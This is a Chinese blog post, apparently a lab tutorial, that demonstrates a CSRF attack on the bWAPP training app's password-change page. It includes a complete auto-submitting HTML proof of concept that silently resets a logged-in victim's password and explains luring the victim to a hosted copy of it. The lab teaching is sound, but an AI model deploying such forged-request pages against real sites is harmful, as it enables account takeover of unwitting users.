渗透测试

CSRF+表单自动提交

2019-09-25  本文已影响0人  违规昵称不予展示

下载bWAPP这个实验环境,这个是使用php的环境用phpstudy就能很简单的搭建了(其他的版本有后门,还请用新版)
下载安装的教程网上有很多的,这里就不多说了
访问CSRF(change password)


image.png

这个页面是用来改密码的


image.png
抓个包看一下
image.png
改密码需要用到cookie,如果把cookie删除了就不会响应请求,但是应用并没用配置samesite属性,也没用token,也没有验证referer(把referer删了系统还是会正常响应),所以就有了CSRF漏洞
没了cookie.png
没了referer.png

好的现在创建一个poc,如图:


image.png
弹出一个html文本,保存好就行:
image.png
但是这个poc是需要点击的,那么加个JS控制1s后自动提交
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
  <script language=javascript>setTimeout("document.form1.submit()",1000) </script> 
    <form name="form1" action="http://localhost/bwapp/bwapp/csrf_1.php">
      <input type="hidden" name="password&#95;new" value="222" />
      <input type="hidden" name="password&#95;conf" value="222" />
      <input type="hidden" name="action" value="change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

下面开始演示
把上面的代码保存成html格式,放到云上,或本地,看你实际情况,我这里直接传到云上
访问路径是这个http://xxx.xxx.xxx/sqs.html
登陆bwapp ,看到cookie已经有了,正常情况下,其他人是不可能拿到这个cookie的所以,也就不能冒充你的身份去修改你的密码

image.png
但是这个时候你给他发送一个链接http://xxx.xxx.xxx/sqs.html就是我们部署的CSRF攻击页面
只要他点击或用这个浏览器打开,等待1秒,之后表单自动提交,因为提交的域名是localhost,所以浏览器会把cookie带上,这样我们就伪造了这个改密码的请求
上一篇 下一篇

猜你喜欢

热点阅读